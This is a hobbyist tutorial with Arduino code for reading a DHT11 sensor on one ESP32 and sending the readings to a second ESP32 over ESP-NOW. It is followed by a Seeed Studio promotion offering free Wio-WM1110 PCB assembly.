14 Things used in this project Hardware components Espressif ESP32 × 2 DHT11 Temperature & Humidity Sensor (4 pins) × 1 Software apps and online services Arduino IDE Story In this tutorial will guide you to transfer the DHT11 sensor data from ESP32 with the help of ESP-NOW protocol, all will receive the same DHT11 data in another ESP32 board using same ESP-NOW protocol. Things needed: ESP32 DHT11 Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Step1: Installing DHT11 Libraries To interface the DHT11 sensor, we’ll use the DHT library from Adafruit. To use this library you also need to install the Adafruit Unified Sensor library. Follow the next steps to install those libraries. Open your Arduino IDE and go to Sketch > Include Library > Manage Libraries. The Library Manager should open. Search for “DHT” in the Search box and install the DHT library from Adafruit. After installing the DHT library from Adafruit, type “Adafruit Unified Sensor” in the search box. Scroll all the way down to find the library and install it. That's all let's test the DHT11. Step2: DHT11 with ESP32 Connect the DHT11 data pin to esp32 pin 12, and just upload the code. Then wait for the serial monitor results. Here is the serial monitor results. Okay, now everything is good. #include "DHT.h" #define DHTPIN 12 // Digital pin connected to the DHT sensor #define DHTTYPE DHT11 // DHT 11 DHT dht(DHTPIN, DHTTYPE); void setup() { Serial.begin(9600); Serial.println(F("DHTxx test!")); dht.begin(); } void loop() { // Wait a few seconds between measurements. delay(2000); // Reading temperature or humidity takes about 250 milliseconds! // Sensor readings may also be up to 2 seconds 'old' (its a very slow sensor) float h = dht.readHumidity(); // Read temperature as Celsius (the default) float t = dht.readTemperature(); // Read temperature as Fahrenheit (isFahrenheit = true) float f = dht.readTemperature(true); // Check if any reads failed and exit early (to try again). if (isnan(h) || isnan(t) || isnan(f)) { Serial.println(F("Failed to read from DHT sensor!")); return; } // Compute heat index in Fahrenheit (the default) float hif = dht.computeHeatIndex(f, h); // Compute heat index in Celsius (isFahreheit = false) float hic = dht.computeHeatIndex(t, h, false); Serial.print(F("Humidity: ")); Serial.print(h); Serial.print(F("% Temperature: ")); Serial.print(t); Serial.print(F("°C ")); Serial.print(f); Serial.print(F("°F Heat index: ")); Serial.print(hic); Serial.print(F("°C ")); Serial.print(hif); Serial.println(F("°F")); } Step3: Transmitter setup Just keep the same DHT11 sensor connection and upload this code to the ESP32 board. #include <esp_now.h> #include <WiFi.h> #include <Adafruit_Sensor.h> #include <DHT.h> #include <DHT_U.h> #define DHTPIN 12 #define DHTTYPE DHT11 DHT_Unified dht(DHTPIN, DHTTYPE); uint8_t broadcastAddress1[] = {0x0C,0xB8,0x15,0xF3,0xE9,0x7C};//Receiver Board MAC Address 0C:B8:15:F3:E9:7C typedef struct temp_struct { float x; float y; } temp_struct; temp_struct test; void OnDataSent(const uint8_t *mac_addr, esp_now_send_status_t status) { char macStr[18]; Serial.print("Packet to: "); // Copies the sender mac address to a string snprintf(macStr, sizeof(macStr), "%02x:%02x:%02x:%02x:%02x:%02x", mac_addr[0], mac_addr[1], mac_addr[2], mac_addr[3], mac_addr[4], mac_addr[5]); Serial.print(macStr); Serial.print(" send status:\t"); Serial.println(status == ESP_NOW_SEND_SUCCESS ? "Delivery Success" : "Delivery Fail"); } void setup() { Serial.begin(115200); dht.begin(); WiFi.mode(WIFI_STA); sensor_t sensor; dht.temperature().getSensor(&sensor); dht.humidity().getSensor(&sensor); if (esp_now_init() != ESP_OK) { Serial.println("Error initializing ESP-NOW"); return; } esp_now_register_send_cb(OnDataSent); esp_now_peer_info_t peerInfo; peerInfo.channel = 0; peerInfo.encrypt = false; memcpy(peerInfo.peer_addr, broadcastAddress1, 6); if (esp_now_add_peer(&peerInfo) != ESP_OK){ Serial.println("Failed to add peer"); return; } } void loop() { sensors_event_t event; dht.temperature().getEvent(&event); test.x = event.temperature; Serial.print(F("Temperature: ")); Serial.print(event.temperature); Serial.println(F("°C")); dht.humidity().getEvent(&event); test.y = event.relative_humidity; Serial.print(F("Humidity: ")); Serial.print(event.relative_humidity); Serial.println(F("%")); esp_err_t result = esp_now_send(0, (uint8_t *) &test, sizeof(temp_struct)); if (result == ESP_OK) { Serial.println("Sent with success"); } else { Serial.println("Error sending the data"); } delay(2000); } Here is the serial monitor results. Step4: Receiver setup Next we need to set up our receiver to get the DHT11 data from the transmitter via ESPNOW. Upload the following code and wait for the serial monitor results. #include <WiFi.h> #include <esp_now.h> // Define data structure typedef struct struct_message { float a; float b; } struct_message; // Create structured data object struct_message myData; // Callback function void OnDataRecv(const uint8_t * mac, const uint8_t *incomingData, int len) { // Get incoming data memcpy(&myData, incomingData, sizeof(myData)); // Print to Serial Monitor Serial.print("Temp: "); Serial.println(myData.a); Serial.print("Humidity: "); Serial.println(myData.b); } void setup() { // Set up Serial Monitor Serial.begin(115200); // Start ESP32 in Station mode WiFi.mode(WIFI_STA); // Initalize ESP-NOW if (esp_now_init() != 0) { Serial.println("Error initializing ESP-NOW"); return; } // Register callback function esp_now_register_recv_cb(OnDataRecv); } void loop() {} Here is the serial monitor results. Wrap-Up: Finally, now we can transfer our DHT11 data in between two ESP32 boards without any internet. In upcoming tutorials will see some real-time use cases with ESPNOW.
-
What’up, community! Join us in this exciting journey of pushing the boundaries of technology and discovering new possibilities with Wio-WM1110 projects now! Discover more about Wio-WM1110 Module and Seeed Fusion PCBA Service The appealing new product, Seeed Studio Wio-WM1110, is the ultimate wireless module for developing low-power consumption, long-range IoT applications. Embedded with Semtech LR1110 and Nordic nRF52840, this module features Semtech’s LoRa technology for long-range wireless communication, GNSS tracking, Wi-Fi, and Bluetooth services while reducing complexity and cost. Additionally, don’t miss the magnificent function for asset tracking, inventory management, asset loss, and theft prevention. It is perfect for smart agriculture, wireless meter reading, and smart city applications. Wio-WM1110 module has been applied to SenseCAP S2120 8-in-1 LoRaWAN Weather Sensor and is widely used in smart agriculture, urban weather, etc. By capturing critical metrics such as air temperature, humidity, wind speed and direction, rainfall intensity, light intensity, UV index, and barometric pressure data and transmitting them via LoRaWAN®, the weather sensor enables you to access hyper-local weather information with ease. We are ready to illuminate and spread your ideas coupled with projects anytime! As an advocate for technology innovation and creativity, Seeed is thrilled to extend its support to the hardware community worldwide through the sponsorship of Wio-WM1110 projects. With Seeed Fusion PCB Assembly Service, everyone can explore their ideas and bring them to fruition without the hassle of sourcing and assembling components. If you have an interesting concept for Wio-WM1110 and are willing to share it with the community, share it with us and we can help you make it a reality with Seeed Fusion’s one-stop agile manufacturing capabilities. Get 2 boards fabricated and assembled completely free with Seeed Fusion’s turnkey PCB Assembly service. Meanwhile, if you have mass production requirements, we highly recommend taking advantage of the Seeed Fusion PCB Assembly service and getting the Wio-WM1110 modules. Find out more discounts below! Wio-WM1110 has been added to Seeed Open Parts Library, available for just USD$14.9! What does that mean? Like all PCBA OPL components, these parts are available for use with the Seeed Fusion PCB Assembly service at a lower price, but more importantly, these parts are stocked locally, so if all parts are sourced from the OPLs, then super fast PCB assembly can be realized from as little as 7 working days. Based on one part per PCBA. Until further notice. Can’t wait to apply? Then keep reading to discover more exciting details. One Step Closer to Wio-WM1110: Please fill out the form: click here to submit your bravo project ideas. Each person is limited to two PCBA boards 100% completely FREE for one design, including PCB fabrication, the cost of parts, assembly and shipping. The design must include Wio-WM1110. When preparing the BOM file, just add the Seeed SKU 114992865 or the part number Wio-WM1110 to your BOM file. Add the order to the cart then contact our customer support ([email protected]) to obtain the corresponding cash coupon for settlement. By participating in this event, you agree to review your experience with us and allow us to share it and the design with the community on our social media platforms (Facebook, Twitter, blog, etc.). The design does not need to be open-sourced and production files will not be shared with the public (unless you want to). We hope your experience will go on to inspire more users to embrace IoT, LoRaWAN® and its capabilities. Scale up your Wio-WM1110 Creation with Seeed Studio Co-Create Program! We will invite well-received Wio-WM1110 projects to the Seeed Studio Co-Create Program, where your products can be listed, sold and shipped directly by Seeed on the Seeed Studio Bazaar. We will also support designers to reach thousands of like-minded customers and distributors with Seeed’s global sales channels and social media presence. Don’t hesitate! It’s a great chance to show off your ideas and skills. Join forces with the Wio-WM1110 and fuel your passion for IoT